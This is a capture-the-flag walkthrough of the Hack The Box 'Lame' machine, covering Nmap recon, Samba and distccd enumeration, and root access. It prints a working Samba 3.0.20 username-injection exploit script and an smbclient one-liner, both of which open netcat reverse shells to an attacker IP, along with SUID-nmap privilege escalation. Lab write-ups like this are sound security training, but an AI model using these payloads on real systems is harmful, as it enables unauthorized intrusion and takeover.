Lame

https://app.hackthebox.com/machines/1

Difficulty: EASY

Reconnaissance

Nmap

Nmap scan report for 10.10.10.3                                                                                                                                                                     
Host is up (0.071s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-03-24T23:45:31-04:00
|_clock-skew: mean: -2h59m31s, deviation: 2h49m44s, median: -4h59m33s

vsftp Recon

Starting out by making some recon on the ftp server with the version 2.3.4 we see in searchsploit that there is an exploit that get us access to the system.

I will let this for later.

Samba 3.0 Recon

Using smbmap to see if using no credentials, we can see something.

In effect we see that there is a directory called tmp.

There are some directories to get in, but there is nothing special so, I'll use searchsploit to see if there is an exploit for samba 3.0.

Here we found an exploit for it, let's see what's inside.

Analyzing the script, we see that once you connect to the samba service, in the username credentials we inject the payload using '`' following by the reverse shell that we want and closing with it too.

We need to use ntlmv1 too as the script is doing.

Distccd checker

Using nmap and their checker scripts, we can check if the service 3632(Distccd) is vulnerable, in fact is it.

Exploitation

vsFTP

The vsftp service in this machine is not vulnerable, the reason is because the version that is using is a version from 2011 and over.

SAMBA 139/tcp + 445/tcp

So, knowing all the information to make the exploit, I create a simple script in python3 to exploit this.

Before to run the script you need to change some things to the script and been listening with a netcat session.

Samba 3.0 Exploit
#!/usr/bin/python3

from smb.SMBConnection import SMBConnection
import sys

target_ip = sys.argv[1]
port = 139

def get_shell(target_ip, port): # 139 by default

    username = "` " + "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f" + " `" # Change the IP to your IP and the port if is necessary

    connection = SMBConnection(username, "na", "na", "na")

    connection.connect(target_ip,int(port))


if __name__ == '__main__':

    get_shell(target_ip, port)

As you can see, we get access, and we rooted the machine by exploiting the samba 3.0 service.

You can exploit this using this one liner by using smbclient, more easy.

smbclient  //10.10.10.3/tmp -N --command='logon "/=`nohup nc 10.10.14.25 443 -e /bin/bash`"' --option='client min protocol=NT1'

Distccd - 3632

To exploit distccd service I'll use an exploit from github.

Download the script and executed as in the following image.

Now I want to upgrade my shell so I will send a bash with netcat to the port 4444.

Now start upgrading your tty using the following commands:

script /dev/null -c bash
Ctrl+Z
stty raw -echo ; fg
reset
export TERM=xterm
export SHELL=bash

Privesc (Distccd)

Once done that, start enumerating possible ways to exploit manually the linux system.

We're seeing here that the nmap binary is running as suid, to expoloit this type;

nmap --interactive
!sh

In result you will get a shell as the root user.

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